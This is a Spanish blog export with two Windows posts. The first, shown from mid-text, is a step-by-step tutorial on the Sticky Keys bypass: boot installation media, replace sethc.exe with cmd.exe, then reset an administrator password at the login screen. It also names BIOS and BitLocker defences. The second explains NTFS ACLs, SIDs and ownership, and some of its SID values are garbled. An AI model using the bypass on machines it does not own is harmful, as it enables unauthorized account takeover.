seguidas en la tecla mayús. O el uso de la lupa de Windows (magnify.exe). Se pueda acceder a las consolas .msc: lusrmgr.msc o de \u0026ldquo;netplwiz\u0026rdquo;. Una forma de evitar esto y añadir un obstáculo más de seguridad, sería establecer una contraseña al acceso de la BIOS, para no poder realizar bootstrap a un USB o CD/DVD, también sería aconsejable si la BIOS lo permite deshabilitar la opción de hacer booting con \u0026ldquo;medios extraíbles desmontables\u0026rdquo; (USB) y lo mismo con la lectora/grabadora CD/DVD. Y ya si somos muy paranoicos aparte de la password para el acceso y configuración a la BIOS, establecer otra aún a un nivel más bajo o anterior que sería establecer otra antes de que el equipo realice el POST (Power On Self Test) de arranque (esto también si la configuración de la BIOS lo permite). En este tutorial voy a intentar explicar todos los pasos al detalle a seguir y definir comandos básicos, con el fin de que cualquier usuario pueda entenderlo. Condiciones del entorno físico Esta técnica requiere acceso físico al equipo y boot desde medio externo. Si la máquina tiene BIOS/UEFI con password de boot, Secure Boot validando arrancadores firmados o BitLocker activo en el disco, no podrás llegar al filesystem para reemplazar Utilman.exe. Arrancamos el PC y booteamos el Live DVD/USB de instalación de Microsoft Windows (nos valdría cualquier versión sería lo mismo. Simplemente tendremos que tener acceso a una \u0026ldquo;Consola de recuperación\u0026rdquo;). Una vez se nos carga el Live DVD/USB de la instalación de Windows, y accedemos a la primera ventana del asistente de instalación. Pulsamos en \u0026lsquo;Siguiente\u0026rsquo; -\u0026gt; Reparar el equipo -\u0026gt; esperamos que se carguen las \u0026lsquo;opciones de recuperación de sistema\u0026rsquo; -\u0026gt; pulsamos en \u0026lsquo;Siguiente\u0026rsquo; -\u0026gt; se nos mostrará una nueva ventana en la que elegimos la opción \u0026ldquo;Símbolo del sistema\u0026rdquo;. Figura 2: Siguiente en el asistente de instalación de Windows. Figura 3: Sección \u0026ldquo;Reparar el equipo\u0026rdquo; en el asistente de instalación de Windows. Figura 4: Opciones de recuperación del sistema. Figura 5: Símbolo de sistema, como opción de recuperación del sistema. Cuando se nos muestra la ventana de símbolo del sistema, ejecutada por defecto como Administrador local. Listamos las unidades disponibles. wmic logicaldisk get name Trabajamos sobre el disco local del sistema C:. C: cd \\windows\\system32 ren sethc.exe sethc.ejm copy cmd.exe sethc.exe exit Después de cada instrucción, para la confirmación presionamos la tecla Enter. Figura 6: Renombrando fichero sethc por una consola cmd. sethc.exe: Fichero ejecutable que hace llamada a las StickyKeys (teclas pegajosas o teclas especiales), esta lo que hace es que cuando, por ejemplo, pulsamos la tecla \u0026ldquo;Shift\u0026rdquo; (mayúsculas, derecha o izquierda) del teclado 5 veces seguidas, nos salga una ventana que nos permite activar o desactivar dichas teclas. cmd.exe: Fichero ejecutable que hace llamada al Símbolo del sistema de Windows. C: Entramos en la unidad c: por defecto, o la letra que tengamos asignada al disco local donde almacenemos la instalación de Windows. cd: Entramos en los directorios del disco local especificados, que en este caso es donde se encuentran los ficheros en los que haremos las modificaciones necesarias. ren: Básicamente lo que se está haciendo es, renombrar, cambiándole la extensión, al fichero original \u0026lsquo;sethc.exe\u0026rsquo; por \u0026lsquo;sethc.ejm\u0026rsquo;. ¿Por qué ejm?, es indiferente podemos poner lo que queramos, siempre que no supere las 3 letras de extensión. Elegí: ejm (ejemplo) \u0026ldquo;por poner algo\u0026rdquo;. Pero como ya digo esto no tiene relevancia, simplemente se hace para que no se tenga concordancia cuando posteriormente se copie la cmd.exe por sethc.exe. copy: Después se copia la cmd.exe por sethc.exe, como sethc.exe lo habíamos renombrado a sethc.ejm el fichero sethc.exe no existe, supuestamente. Entonces lo que hacemos es crear una cmd.exe original pero con el nombre sethc.exe. De este modo, se conseguiría que cuando llamemos a las StickyKeys, se nos abra un Símbolo del sistema (CMD). exit: Salimos del símbolo del sistema. Una vez acabado el paso 2, reiniciamos el PC en el botón \u0026ldquo;Reiniciar\u0026rdquo; en la ventana de \u0026lsquo;Opciones de recuperación del sistema\u0026rsquo;. Iniciamos el equipo sin bootear el Live DVD/USB de instalación de Windows, es decir que lo inicializamos de manera normal. En la pantalla de bienvenida, pulsamos 5 veces seguidas la tecla \u0026ldquo;Shift\u0026rdquo; izquierda o derecha, nos funcionará igual. Se nos abrirá el cmd.exe o Símbolo del sistema de Windows. control userpasswords2 También podríamos usar netplwiz, es lo mismo y nos llevaría a la misma ventana gráfica. Sería lo mismo. La diferencia (creo recordar\u0026hellip;) está en que netplwiz era el fichero que abría y daba acceso a dicha ventana de control de cuentas de usuario en sistemas Windows NT y 2000, este aún se conserva en Windows XP, Vista y 7. Aunque añadieron una segunda vía de acceso: control userpasswords2, que es exactamente lo mismo. Se nos abrirá la ventana de \u0026lsquo;Cuentas de usuario\u0026rsquo;, si no apareciese en ese momento en la pantalla de bienvenida, reiniciamos y volvemos a realizar el paso 4 y ya tendrá que aparecer. Pues en esta ventana podremos restablecer la contraseña del usuario que seleccionemos. En este ejemplo, se trata de una cuenta tipo Administrador con el nombre de usuario \u0026ldquo;1loiswin7\u0026rdquo;. Una vez seleccionamos el usuario podemos pulsar en el botón \u0026ldquo;Restablecer contraseña\u0026rdquo; e introducir la contraseña nueva sin necesidad de que nos pregunte la contraseña que hubiese anteriormente. \u0026lsquo;Aplicamos\u0026rsquo; y \u0026lsquo;Aceptamos\u0026rsquo; los cambios. (O simplemente \u0026lsquo;Aceptar\u0026rsquo; sería lo mismo). Figura 7: Iniciada consola con las StickyKeys y restableciendo passw de administrador de Windows. Aunque en la captura de pantalla de arriba no muestro la ficha o pestaña \u0026ldquo;Opciones avanzadas\u0026rdquo; de la ventana \u0026lsquo;Cuentas de usuario\u0026rsquo;, en esta podremos elegir una cuenta de usuario de tipo \u0026rsquo;limitada\u0026rsquo; y cambiarla por una de tipo \u0026lsquo;Administrador\u0026rsquo; o viceversa, así como también agregar dicho usuario seleccionado a un grupo local que hubiéramos creado previamente o los incluidos por defecto del sistema, esto solo para Windows XP. En Windows Vista o 7 veremos otro aspecto similar en el que podremos administrar las contraseñas de la base de datos local SAM de Windows y entrar en la ventana \u0026lsquo;Usuario y grupos locales\u0026rsquo; (lusrmgr.msc) con la cual también podremos realizar lo mismo que en Windows XP. Y por último iniciamos sesión en el sistema con el nombre de usuario y contraseña que restablecimos. Y ya estaremos dentro, para hacer las modificaciones necesarias, así como cambiar a una nueva contraseña o lo que fuese. Reinvertir los cambios Como paso final dejaremos o restableceremos los ficheros modificados (sethc y cmd) a su estado original o default. Para ello una vez que estamos ya dentro del sistema ejecutamos un \u0026ldquo;Símbolo del sistema\u0026rdquo; como administrador. Para ello, vamos a: Inicio -\u0026gt; Todos los programas -\u0026gt; Accesorios -\u0026gt; y botón derecho en \u0026lsquo;Símbolo de sistema\u0026rsquo; -\u0026gt; Ejecutar como administrador. Si tenemos activado el UAC (User Account Control) de Windows, nos saldrá una ventana informativa \u0026lsquo;Control de cuentas de usuario\u0026rsquo;, que nos preguntará si deseamos que se hagan cambios en el sistema, le decimos que sí. Una vez abierto el CMD y estar situados en la ubicación: C:\\Windows\\System32 En el caso de no estarlo, escribimos en el CMD: C: cd windows\\system32 Una vez estemos en dicho directorio (lo cual por defecto lo está, si ejecutamos el CMD con privilegios administrativos) simplemente tendríamos que escribir en el CMD: del sethc.exe ren sethc.ejm sethc.exe exit Figura 8: Restableciendo el orden de los ficheros renombrados anteriormente. del: Borra ficheros y directorios, en este caso borraría el fichero sethc.exe. ren y exit: renombra y salir de la CMD. Lo que se está haciendo, es borrar el fichero sethc.exe que es una copia del cmd.exe original. Después renombramos el fichero sethc.ejm a sethc.exe, el sethc.ejm es el fichero del sethc original. Por lo tanto, lo dejamos como estaba para que a la hora de llamar a la ejecución de las StickyKeys este se ejecute correctamente. Y con la copia del cmd borrada y el fichero del sethc en su estado original, daremos por acabada la configuración. Saludos! "},{"title":"Permisos NTFS y ACLs en usuarios y grupos de Windows","url":"/posts/permisos-ntfs-acls-usuarios-grupos-windows/","summary":"Modificar permisos a usuarios y a grupos sobre objetos, privilegios a cuentas de usuarios y administradores en Windows.\nTenía pensado dividir este artículo en varias partes, ya que es extenso, pero …","tags":["Hardening","Blue Team","Permisos","NTFS","ACLs","SMB","Escalada de privilegios","ICACLS","Event Logs"],"date":"2011-04-24","content":"Modificar permisos a usuarios y a grupos sobre objetos, privilegios a cuentas de usuarios y administradores en Windows. Tenía pensado dividir este artículo en varias partes, ya que es extenso, pero para no tener comentarios en unas entradas y otras sobre el mismo tema, he decidido incluir todo lo relacionado en el mismo post. Aparte, a la hora de buscar en buscadores y en el blog se reflejará toda la información en un mismo artículo. Como dije, este artículo es bastante extenso y completo. Por eso, cito un índice con los diferentes apartados o secciones de este post, un índice con enlaces internos (a esta página) que hacen referencia a todos los diferentes apartados. Índice 1) Definiciones y conceptos. 1.A) Acceso a los archivos y directorios. 1.B) Tipos de cuentas de usuarios y grupos por defecto en Windows y sus SID. 2) Habilitar o deshabilitar cuenta de Administrador. 2.A) De manera gráfica. 2.B) Con la consola de comandos (CMD), Shell de Windows. 3) Modificar permisos o privilegios de usuarios o grupos locales. 3.A) Modificar permisos desde la sesión Administrador. 3.B) Modificar permisos desde la sesión \u0026ldquo;Usuario raso\u0026rdquo; (Propietarios de objetos). 3.C) Conflictos en permisos para un mismo usuario: Permitir y denegar. 3.D) Permisos heredables de objetos primarios. 4) Cambiar el tipo de cuenta: Usuarios o Administrador. 5) Habilitar y conceder permisos de Administrador, mediante la Shell de Windows (consola o símbolo de sistema CMD). 6) UAC - User Account Control (Control de cuentas de usuario). Lecturas recomendables Link to heading http://support.microsoft.com/kb/981949/es http://support.microsoft.com/kb/308419/es http://support.microsoft.com/kb/983628/es El último enlace al que hago referencia, está muy completo ya que nos dice como modificar permisos de archivos o carpetas a usuarios, y es algo muy parecido a lo que voy comentar posteriormente en este artículo. 1) Definiciones y conceptos Link to heading 1.A) Acceso a los archivos y directorios Link to heading Todo el tema de permisos que aquí muestro y explico se dan gracias al sistema de ficheros: NTFS (New Technology File System), uno de los sistemas de ficheros de Microsoft Windows, que permite un gran avance de seguridad en cuanto a las concesiones de permisos o privilegios de usuarios en Windows. Herencia: La herencia permite la propagación de ACL posicionadas en objetos contenedores padres a sus hijos. Al crear una ACE, es posible precisar si se va aplicar al objeto, sólo a sus hijos (indicador de herencia solamente o Inherit Only) o al objeto en sí y a sus hijos. Objetos: Un objeto es simplemente un elemento que puede asegurarse y protegerse mediante permisos. Puede tratarse de un archivo, un directorio, una clave de registro o un objeto de sistema, como una canalización con nombre, un socket, un proceso, un subproceso, etc. ACL (Access Control List): Es una lista de control de acceso que regula los permisos de acceso a los objetos del sistema. Está compuesta por entradas de controles de acceso ACE. ACE (Access Control Entry): Una entrada de control de acceso es un elemento de una ACL. Una ACE está compuesta por un SID, una máscara de acceso que define los permisos concedidos al SID (ya sean: Lectura, escritura, etc.), un indicador que determina el tipo de ACE y otro indicador que determina a qué objetos se refieren estos permisos. Hay tres tipos de ACE: Acceso concedido, acceso denegado y Audit (para auditar la seguridad del sistema). SD (Security Descriptor): Un descriptor de seguridad es la estructura vinculada a todo objeto al que se le puede aplicar seguridad que contiene el SID del propietario del objeto, su grupo primario y las dos listas de ACL: DACL y SACL. DACL (Discretionary Access Control List): Una lista de control de acceso discrecional es la que está controlada por el propietario del objeto. Especifica quién tiene permiso y quién no para acceder a dicho objeto. SACL (System Access Control List): Una lista de control de acceso de sistema es la que controla la generación de mensajes de auditoría durante los intentos de acceder a un objeto seguro. (Es necesario tener privilegios SE_SECURITY_NAME para modificar una SACL). SDDL (Security Descriptor Definition Language): Un lenguaje de definición descriptor de seguridad que permite definir y transportar datos almacenados en un descriptor de seguridad en formato de texto. Por ejemplo, el comando \u0026ldquo;sc sdshow\u0026rdquo; muestra el descriptor de seguridad ligado al servicio en formato SDDL. El orden de interpretación de los permisos es o debería ser el siguiente: Accesos denegados explícitos (DENY ONLY). Accesos autorizados explícitos (ALLOW ONLY). Accesos denegados heredados. Accesos autorizados heredados. Resumen Link to heading Un descriptor de seguridad de un recurso contiene el SID del propietario y varias listas de control de acceso. Una ACL es una lista de entradas de control de ACEs, cada una de las cuales identifica una confianza y unos permisos permitidos o denegados. Las ACLs pueden ser de dos tipos: DACL (Discretionary ACL) o SACL (System ACL). DACL especifican permisos de acceso -permitidos o denegados- que el propietario del recurso especifica discrecionalmente. SACL especifican las acciones de confianza que el sistema debe auditar (intentos fallidos o exitosos de acceso según su tipo). Cada recurso, además de poder incluir sus propias ACLs (ACLs explícitas), puede marcarse para que herede las ACLs de sus recursos antecesores (se indica separadamente para DACL y SACL). Para determinar si debe concederse un permiso a una confianza del sistema primero ordena las ACEs de las distintas listas. Después las evalúa una a una y cuando encuentra una que se corresponde ya no evalúa el resto. Si un recurso no tiene DACLs se concede el permiso. Si tiene DACL pero no tiene ACEs se deniega el permiso. Para ordenar las ACEs el algoritmo tiene en cuenta lo siguiente: Dentro de una lista, las ACEs que deniegan tienen prioridad sobre las que permiten. Las ACLs explícitas tienen prioridad sobre las heredadas. Las ACLs de los padres tienen prioridad sobre las de los abuelos. Por otra parte: Al anular la herencia el sistema nos permite elegir entre quitar todos los permisos heredados o copiarlos como explícitos. Cuando se crea un nuevo recurso éste hereda todos los permisos (todas las ACLs) de su padre (tanto heredados como explícitos). Al copiar un recurso (o moverlo a otro volumen) creamos un nuevo recurso. Al mover un recurso dentro de un volumen se mantienen los permisos. 1.B) Tipos de cuentas de usuarios (NT AUTHORITY), grupos por defecto en Windows y sus SID Link to heading Trusted Installer (Instalador de confianza): No es una cuenta de usuario propiamente dicha, sino que una cuenta de servicio. Su SID (Security Identifier) comienza por S-1-5-80, que corresponde a SECURTIY_SERVICE_ID_BASE_RID. Sirve para ejecutar el servicio que instala los componentes Windows, los hotfixes y los paquetes MSI (Microsoft Installer). Este SID posee los permisos para todos los archivos de sistema que le permiten actualizar el sistema operativo. TrustedInstaller es un usuario del sistema de \u0026ldquo;Protección de Recursos de Windows\u0026rdquo; (WRP Windows Resource Protection), asume el control propietario de ciertos ficheros, carpetas o ciertas claves de registro de Windows para su correcto funcionamiento. No instala programas como tal, como pueda parecer, trabaja bajo el servicio de Windows \u0026ldquo;Instalador de módulos de Windows\u0026rdquo; controlado en la clave de registro HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\TrustedInstaller, este habilita la instalación, modificación y eliminación de actualizaciones (Windows Update) y componentes opcionales de Windows, su path físico está en: C:\\Windows\\servicing\\TrustedInstaller.exe. Tiene acceso completo a los directorios Windows, System32 y Archivos de Programas (Program Files), lo que le confiere permisos necesarios para reemplazar un archivo del sistema cuando ni siquiera los administradores tienen acceso en escritura. De la misma manera, están accesibles en escritura muchas claves del registro que definen clases y objetos COM únicamente en el servicio Trusted Installer. Cuando se llama, el servicio de instalación a MsiExec (fichero que lee la instalación MSI y lanza el asistente). Creator Group: Utilizado por el subsistema POSIX únicamente, este SID genérico es sustituido durante la evaluación por el grupo principal del propietario del objeto. Concede control total o lo establecidos explícitamente en \u0026ldquo;permisos especiales\u0026rdquo; a un objeto sobre un grupo concreto. Esto está más detallado en el apartado: 3.B) Modificar permisos desde la sesión \u0026ldquo;Usuario raso\u0026rdquo; (Propietarios de objetos). En la sección de \u0026ldquo;Propietarios de un objeto\u0026rdquo;. Creator Owner (SID: S-1-3-0): Este SID genérico es reemplazado por el SID del propietario del objeto durante la evaluación de los permisos. Al igual que el anterior, concede control total o lo establecidos explícitamente en \u0026ldquo;permisos especiales\u0026rdquo; a un objeto sobre un grupo concreto. Esto está más detallado en el apartado: 3.B) Modificar permisos desde la sesión \u0026ldquo;Usuario raso\u0026rdquo; (Propietarios de objetos). En la sección de \u0026ldquo;Propietarios de un objeto\u0026rdquo;. Owner Rights (Derechos del propietario): Es una nueva cuenta (nuevo SID) de Windows Vista y 7. En Windows XP, pero también en Windows 7, el creador de un objeto posee implícitamente el derecho de modificar las ACL en su posible prohibir el acceso a un objeto (un archivo o una clave de registro, entre otros) a un administrador. El administrador tiene derecho a cambiar las ACL para otorgarse los permisos necesarios, como por ejemplo un control total. A un usuario estándar o raso, ser propietario de un objeto le confiere un control total sobre el objeto e impide que se le pueda restringir el acceso, porque puede manejar y modificar sus ACLs. Un administrador que desee restringir el acceso a un propietario de un objeto deberá, en primer lugar, cambiar el propietario y luego ajustar las ACL del objeto de conformidad con lo deseado. Windows Vista y Windows 7 introducen, por tanto, un nuevo SID que corresponde a \u0026ldquo;Derechos del Propietario\u0026rdquo; (no se corresponde con una nueva cuenta de usuario con la cual es posible iniciar sesión), que puede utilizarse para limitar los derechos del propietario del objeto. Cuando este SID no está en una ACL, se aplica la lógica habitual: el propietario posee los derechos para modificar las ACL de ese objeto. Sin embargo, cuando está presente, el propietario recibe los permisos asociados a este SID. Se utiliza normalmente para restringir los permisos de los propietarios de forma sencilla y eficaz. Por ejemplo, situando en un directorio los permisos Lectura en el SID derechos del Propietario y lectura/escritura en un grupo dado, el grupo puede crear archivos y directorios que serán de sólo lectura una vez creados, porque el usuario recibirá los derechos del propietario. Imaginemos que un usuario cambia de servicio, antes podía crear archivos y acceder a ellos en un directorio mediante la pertenencia a un grupo que le daba un control total sobre un directorio dado. Al abandonar el servicio, se le retira de este grupo. Sin embargo, sigue siendo propietario de sus objetos, es decir, de los archivos que creó, y puede, según las ACL establecidas en el directorio, seguir accediendo y modificando las ACL de sus archivos para devolverse a sí mismo el control. Si se establece una denegación (DENY) WRITE_DAC en el SID Derechos del Propietario en el directorio raíz, los propietarios ya no pueden cambiar las ACL en los objetos que han creado. Para terminar, cuando un administrador cambia el propietario de un objeto, se deshabilitan los permisos asociados al SID Derechos del Propietario para que un administrador pierda definitivamente el control de un objeto. Más detalle y un ejemplo en el apartado: 3.B) Modificar permisos desde la sesión \u0026ldquo;Usuario raso\u0026rdquo; (Propietarios de objetos). En la parte de \u0026ldquo;Propietarios de un objeto\u0026rdquo;. Ahora comentaré un poco los usuarios NT AUTHORITY, son usuarios usados por el sistema para operaciones de privilegios concretos en determinadas funcionalidades, estos usuarios el sistema hace uso de ellos de forma transparente al usuario final. Figura 1: Usuarios NT AUTHORITY utilizados por Windows 7. Usuarios autentificados (SID: S-1-5-11): Son Usuarios que pertenecen o forman parte de Active Directory de una red de dominio. Anonymous Logon (SID: S-1-5-7): Son usuarios que no disponen de una cuenta de usuario en Servicios de dominio de Active Directory, pero que pueden recibir una invitación para participar de forma remota en una conferencia local. IUSR (SID: S-1-5-17): Este grupo sirve para dar permisos a las cuentas de servicio encargadas de ejecutar los pools de aplicación del servidor Web IIS (Internet Information Services). Interactive (SID: S-1-5-4): Representa a los usuarios que han abierto sesión localmente en la máquina y que no acceden a un recurso de la máquina a través de la red. Local Service (SID: S-1-5-19): Los miembros de este grupo tienen permiso para leer el registro de eventos del equipo local. Dialup (SID: S-1-5-1): Son usuarios conectados a través de una conexión de acceso remoto. Network (SID: S-1-5-2): Son los usuarios que acceden a un recurso de la máquina a través de la red, a diferencia de los usuarios que han abierto una sesión localmente para acceder a los recursos. No incluye a los usuarios que inicien sesión mediante una sesión de Escritorio remoto (mstsc-Microsoft Terminal Service Connection). Service (SID: S-1-5-6): Son los usuarios que inician sesión como servicio. Network service (SID: S-1-5-20): \u0026ldquo;Servicio de red\u0026rdquo; es una cuenta utilizada por los servicios que necesitan acceder a recursos en la red bajo la identidad de la cuenta máquina en la cual se ejecutan. Tiene menos privilegios y permisos localmente que el \u0026ldquo;System Local\u0026rdquo;. Local service (SID: S-1-5-19): Es una cuenta utilizada por los servicios que necesitan acceder a recursos locales y no por red (se identifica anónimamente en la red). La diferencia entre Local Service y System Local reside en que System Local posee permisos sobre la red (los mismos que Network Service), mientras que Local Service se autentifica anónimamente en la red. Network Service y System Local se autentifican en Kerberos utilizando la cuenta máquina del equipo definida en el servicio de Active Directory. Muchos servicios de Windows 7 que no necesitan acceder a la red se ejecutan bajo la identidad de Local Service. Este funcionamiento es el que siempre ha existido en los sistemas Microsoft. Con Windows y 2008, nuevas directivas de grupos permiten a la cuenta Local System autentificarse en NTLM en la red, y no de forma anónima. Este comportamiento no está activo de forma predeterminada, sino que es necesario activarlo. System (SID: S-1-5-18): Representa el sistema operativo. Permite asignar permisos específicos al sistema. Se llama también Sistema Local (Local System). Es la cuenta que tiene más derechos y privilegios en la máquina. Batch (SID: S-1-5-3): Son las cuentas utilizadas para ejecutar tareas programadas (Control Schedtasks). Terminal Server User (SID: S-1-5-13): Son los usuarios que abren una sesión de terminal server en la máquina. Remote Interactive Logon (SID: S-1-5-14): Son los usuarios conectados mediante un inicio de sesión de escritorio remoto. Otros usuarios del sistema para realizar otras funciones determinadas: Usuarios de Operadores de cifrado: Como sería lógico, los miembros de este grupo tienen permisos para realizar operaciones de cifrado. Usuarios de Operadores de copia de seguridad: Encargados de realizar las copias de seguridad del equipo programadas o automáticas de Windows o lo que se le hubiese establecido. Usuarios del monitor de rendimiento: Los miembros de este grupo pueden acceder a los datos del Monitor de rendimiento (perfmon.exe) localmente y en remoto. Usuarios del registro de rendimiento: Los miembros de este grupo pueden programar el registro de los monitores de rendimiento, activar los proveedores de seguimiento y recoger el seguimiento de eventos simultáneamente de forma local y a través de un acceso a este equipo. Añado una nota sobre los SID de los usuarios: Administrador: SID: S-1-5-500 Invitado: SID: S-1-5-501 El resto de usuarios locales, empezarán ordenadamente a partir del siguiente SID: S-1-5-1000, S-1-5-1002 , S-1-5-1003, etc. y así sucesivamente por cada usuario local creado. Existen muchos más grupos de usuarios predeterminados en Windows, aquí menciono los que para mi son los más usados y relevantes. Más información sobre los SID (Identificadores de seguridad): http://support.microsoft.com/kb/243330/es Intentaré explicar de manera clara y sencilla, para que sea entendible por cualquier tipo de usuario: Como modificar ya sea, para conceder o denegar permisos en Windows y como configurar cuentas de usuarios y administradores de Windows. Existen muchas formas de realizar esto, ya sea por la shell (consola de comandos CMD) de Windows, como de manera gráfica en el sistema. Mencionaré las dos formas de hacerlo, para cada uno de los casos. Nota: El nombre de usuario que utilizaré para este tutorial será Administrador (por defecto del sistema) y loiswin7 que correrán bajo una máquina virtual con Windows 7 Ultimate. 2) Habilitar o deshabilitar cuenta de Administrador Link to heading 2.A) De manera gráfica. Link to heading Nos vamos a: Inicio \u0026gt; botón derecho en \u0026ldquo;Equipo\u0026rdquo; \u0026gt; Administrar. Nos aparecerá la ventana de \u0026ldquo;Administración de equipos\u0026rdquo;. Nos vamos a: Usuarios y grupos locales \u0026gt; Usuarios \u0026gt; Administrador \u0026gt; botón derecho \u0026ldquo;Propiedades\u0026rdquo;. Se nos mostrará la ventana de \u0026ldquo;Propiedades: Administrador\u0026rdquo;. En la pestaña \u0026ldquo;General\u0026rdquo; desmarcamos (para activar la cuenta, en caso contrario marcaríamos el checkbox) el checkbox que dice: \u0026ldquo;La cuenta está deshabilitada\u0026rdquo;, Aplicamos los cambios y Aceptamos. Cerramos la ventana \u0026ldquo;Administrador de equipos\u0026rdquo; y cerramos sesión para poder entrar como Administrador al sistema. Figura 2: Habilitar o deshabilitar cuenta administrador desde lusrmgr.msc. 2.B) Con la consola de comandos (CMD), Shell de Windows Link to heading Nos vamos a: Inicio \u0026gt; escribimos: CMD \u0026gt; esperamos a la búsqueda \u0026gt; botón derecho sobre: cmd.exe \u0026gt; Ejecutar como administrador. Se nos abrirá la Shell de Windows (CMD). Aquí tipearemos o escribiremos la siguiente línea de comandos: net user administrador /active:yes (para ***activar*** la cuenta administrador del sistema) net user administrador /active:no (para ***desactivar*** la cuenta administrador del sistema) Pulsamos Enter y cerramos la consola con el comando Exit, o simplemente cerrando la ventana. Cerramos sesión para poder entrar como Administrador al sistema. Figura 3: Habilitar o deshabilitar cuenta administrador a través de consola, cmd.exe. En algunos casos, puede dar errores. Uno muy frecuente es: Error de Sistema 5 (System error 5): Se refiere a que no tenemos los permisos adecuados. Soluciones: Comprobar los permisos de la cuenta. Realizar un logueo en la máquina remota, para que las credenciales queden en caché (un error muy típico). Comprobar que el servicio netlogon esté corriendo. Estas dos maneras que mencioné, tanto gráficamente como mediante comandos con la Shell de Windows, son válidas. Aclaro que esto solamente es para activar o desactivar la cuenta Administrador del sistema. 3) Modificar permisos o privilegios de usuarios o grupos locales Link to heading 3.A) Modificar permisos desde la sesión Administrador. Link to heading En cualquiera de los dos casos que hubiésemos realizado anteriormente. Cuando cerramos sesión, veremos ya habilitada la cuenta Administrador, entramos como Administrador al sistema. Figura 4: Inicio de sesión como administrador. Una vez iniciada la sesión como Administrador: Nos vamos al \u0026ldquo;Explorador de Windows\u0026rdquo; (Tecla Win + E) o doble clic en Equipo. Hacemos clic derecho sobre el disco local C: (que por defecto en la mayoría de los casos suele ser la asignación de letra de unidad C:) \u0026gt; Propiedades. Figura 5: Acceder a las propiedades de %systemdrive% para configurar la seguridad de permisos. En ventana de \u0026ldquo;Propiedades: Disco local (C:)\u0026rdquo;. Nos vamos a: Seguridad \u0026gt; Editar\u0026hellip; \u0026gt; (Se nos abrirá la ventana: \u0026ldquo;Permisos de Disco local (C:)\u0026rdquo;) ahí seleccionamos el grupo \u0026ldquo;Usuarios\u0026rdquo; o \u0026ldquo;Administradores\u0026rdquo; y concedemos (en este caso) o denegamos privilegios o permisos a dichos grupos, marcando los checkbox que deseemos o simplemente si queremos conceder o denegar todos, marcamos el checkbox de \u0026ldquo;Control total\u0026rdquo;. Si no vemos la opción de Seguridad en una solapa o pestaña de esta ventana. Deberemos activar lo siguiente: En la \u0026ldquo;Barra de Herramientas\u0026rdquo; de \u0026lsquo;Mi PC\u0026rsquo; o \u0026lsquo;Explorador de Windows\u0026rsquo; (Pulsamos F10 o \u0026lsquo;Alt\u0026rsquo;) \u0026gt; Herramientas \u0026gt; Opciones de carpeta \u0026gt; Ver \u0026gt; buscamos \u0026lsquo;Utilizar uso compartido simple de archivos\u0026rsquo; y desmarcamos este checkbox \u0026gt; Aceptar. Ahora ya podremos ver la ficha de Seguridad. Aplicamos los cambios, se nos mostrará una ventana en la que nos dice si estamos seguros de la operación, le decimos que sí. Y aceptamos. Veremos como después de aplicar la operación en la ventana \u0026ldquo;Propiedades: Disco local (C:)\u0026rdquo; se nos muestran todos los tics en \u0026ldquo;Permitir\u0026rdquo; en el grupo que seleccionáramos (Usuarios o Administradores). Figura 6: Edición de permisos para \u0026ldquo;Usuarios\u0026rdquo; y otros. 3.B) Modificar permisos desde la sesión de un \u0026ldquo;Usuario raso\u0026rdquo; (Propietarios de objetos) Link to heading En este caso, omitiríamos desde el principio de este post hasta este apartado los pasos y las diferentes maneras de hacerlo sin necesidad de habilitar la cuenta Administrador. Dentro de nuestra sesión de usuario normal: Nos vamos al \u0026ldquo;Explorador de Windows\u0026rdquo; (Tecla Win + E) o doble clic en Equipo. Hacemos clic derecho sobre el disco local C: (que por defecto en la mayoría de los casos suele ser la asignación de letra de unidad C:) \u0026gt; Propiedades. En ventana de \u0026ldquo;Propiedades: Disco local (C:)\u0026rdquo; nos vamos a: Seguridad \u0026gt; Opciones avanzadas. Se nos mostrará la ventana: \u0026ldquo;Configuración de seguridad avanzada para Disco local (C:)\u0026rdquo;. Nos vamos a: Propietario \u0026gt; Editar\u0026hellip;. En la ficha propietario el usuario tendría que estar en el \u0026ldquo;Grupo de Administradores\u0026rdquo; locales para poder realizar algunas de estas funciones**:** Cuando un fichero o carpeta tiene a un administrador local como propietario en este fichero y/o carpeta no podremos eliminar, modificar, mover, cambiar permisos, etc., es debido a que quizás ese administrador NO esté como propietario del fichero o carpeta, ya que puede que ni siquiera esté en el grupo administradores, y sea simplemente un usuario normal-raso. Si conseguimos añadir el usuario que queramos en la ficha de Propietario de un fichero/carpeta y remplazamos el que ya está (que esto nos lo permite si el que actualmente está es administrador pero pese a eso no nos permite borrar el fichero por decirlo de algún modo) añadiendo otro user con privilegios y reemplazando la propiedad del fichero conseguiremos realizar todo tipo de acciones sobre dicho fichero/carpeta como por ejemplo borrar esos ficheros o carpetas que Windows en ocasiones bloquea. Es importante que después de seleccionarlo y aplicar nos fijemos de que donde aparece \u0026ldquo;Propietario actual\u0026rdquo;, en la casilla de texto de abajo esté asignado o establecido el correspondiente usuario que queremos hacer propietario. (Ya que \u0026ldquo;en ocasiones\u0026rdquo; pasa que seleccionas y los cambios parece que surgen efecto y en realidad no es así). Tendremos también que marcar los checkbox para \u0026ldquo;incluir todos los permisos heredables del objeto primario de este objeto\u0026rdquo;. Figura 7: Cambiando propietario, algo importante para la manipulación total de un objeto. Se nos abrirá otra ventana en la que: Seleccionamos el usuario del sistema con el que tenemos iniciada sesión (es decir, el usuario normal). Marcamos el checkbox que dice: \u0026ldquo;Reemplazar propietarios en subcontenedores y objetos\u0026rdquo;. Aplicamos y Aceptamos. Cuando apliquemos se nos mostrará una ventana en la que realizará las operaciones necesarias, esperamos a que acaben de realizarse. Que me ofrece ser propietario de un objeto? Hacer un usuario propietario de un objeto o de los siguientes objetos (subcontenedores) no hace que tenga control total sobre dicho objeto sino, que pueda tener control para CAMBIAR los permisos de dicho objeto a su antojo, y de ese modo poderse dar así mismo más permisos. Esta es básicamente la única característica de ser propietario o no de un objeto. Aunque veremos como aprovechar esto y ponerlo en práctica, en un próximo ejemplo de un posible escenario como funciona el ser propietario de un objeto usando los usuarios por defecto de Windows (Owners) y como afectan a sus ACEs en futuros objetos creados por dichos usuarios. Figura 8: Reemplazando propietario en subcontenedores y objetos. Si tenemos el siguiente escenario: Los usuarios \u0026ldquo;Pepe\u0026rdquo; y \u0026ldquo;Lili\u0026rdquo; forman parte del grupo \u0026ldquo;Empleados\u0026rdquo; y a este grupo se le da permisos especiales de crear y solo lectura sobre los objetos carpeta y ficheros, este grupo solo va poder crear y leer estos ficheros. Pero sin embargo añadimos el usuario por defecto de Windows \u0026ldquo;Creator Owner\u0026rdquo; y a este le damos control total sobre los objetos carpetas y ficheros, quiere decir que 